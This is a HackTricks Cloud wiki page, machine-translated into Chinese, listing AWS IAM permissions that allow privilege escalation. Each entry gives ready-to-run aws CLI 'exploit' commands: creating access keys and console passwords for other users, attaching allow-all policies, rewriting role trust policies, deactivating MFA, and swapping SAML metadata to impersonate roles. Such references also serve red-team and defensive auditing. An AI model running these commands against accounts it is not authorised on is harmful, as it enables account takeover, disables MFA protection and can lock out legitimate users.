AWS - IAM Privesc
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
IAM
有关 IAM 的更多信息,请参阅:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
授予创建新的 IAM 策略版本的能力,通过使用 --set-as-default 标志绕过对 iam:SetDefaultPolicyVersion 权限的需求。这允许定义自定义权限。
利用命令:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Impact: 直接通过允许对任何资源执行任意操作来提升权限。
iam:SetDefaultPolicyVersion
允许将 IAM 策略的默认版本更改为另一个已存在的版本;如果新版本具有更多权限,可能会提升权限。
Bash Command:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
影响: 间接 privilege escalation,通过授予更多权限。
iam:CreateAccessKey
允许为其他用户创建 access key ID 和 secret access key,可能导致 privilege escalation。
利用:
aws iam create-access-key --user-name <target_user>
Impact: 通过获取或假定另一个用户的扩展权限实现直接权限提升。
iam:CreateLoginProfile | iam:UpdateLoginProfile
允许创建或更新登录配置文件,包括为 AWS 控制台登录设置密码,从而导致直接权限提升。
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit 用于更新:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
影响: 通过以 “any” 用户登录,实现直接的 privilege escalation。
iam:UpdateAccessKey
允许启用被禁用的 access key;如果 attacker 持有该被禁用的 access key,可能导致未授权访问。
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
影响: 通过重新激活访问密钥直接进行权限提升。
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
允许为特定 AWS 服务(例如 CodeCommit、Amazon Keyspaces)生成或重置凭证,这些凭证将继承关联用户的权限。
创建利用:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
Exploit 用于重置:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impact: 直接在用户的服务权限范围内提升权限。
iam:AttachUserPolicy || iam:AttachGroupPolicy
允许将策略附加到用户或组,从而通过继承所附策略的权限来直接提升权限。
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit 用于组:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
影响: 直接获得策略授予的任何权限。
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
允许将策略附加到角色、用户或组,从而通过授予额外权限实现直接提权。
针对角色的利用:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit 用于内联策略:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
你可以使用类似下面的策略:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
影响: 通过策略添加权限,直接进行权限提升。
iam:AddUserToGroup
允许将自己添加到一个 IAM 组,从而通过继承该组的权限来提升权限。
利用:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
影响: 直接将权限提升到该组的权限级别。
iam:UpdateAssumeRolePolicy
允许修改角色的 assume role policy 文档,从而使得可以假设该角色并获得其相关权限。
利用:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
如果策略如下所示,它赋予用户假定该角色的权限:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
影响: 通过假设任何角色的权限实现直接权限提升。
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
允许上传用于在 CodeCommit 上进行身份验证的 SSH 公钥,并停用 MFA 设备,从而可能导致间接权限提升。
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit 用于停用 MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
影响: 间接提权,通过启用 CodeCommit 访问或禁用 MFA 保护实现。
iam:ResyncMFADevice
允许重新同步 MFA 设备,可能通过操纵 MFA 保护导致间接提权。
Bash Command:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impact: 间接权限提升,通过添加或操纵 MFA 设备。
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
拥有这些权限,你可以更改 SAML 连接的 XML 元数据。然后,你可以滥用SAML federation,以登录任何信任该连接的角色。
注意,执行此操作后,合法用户将无法登录。不过,你可以获取 XML,把你自己的放上去,登录并将之前的配置改回去。
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
Note
TODO: 一个能够生成 SAML 元数据并使用指定角色登录的工具
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(不确定)如果攻击者拥有这些 权限,他可以添加一个新的 Thumbprint,从而能够登录所有信任该提供者的角色。
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
这个权限允许攻击者更新用户的 permissions boundary,可能通过允许他们执行通常被其现有权限限制的操作来提升其权限。
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
拥有 iam:PutRolePermissionsBoundary 的主体可以在现有角色上设置权限边界。风险在于当拥有此权限的人更改角色的边界时:他们可能不当地限制操作(导致服务中断),或者如果附加了宽松的边界,可能会有效扩展该角色的能力并提升权限。
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
参考资料
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

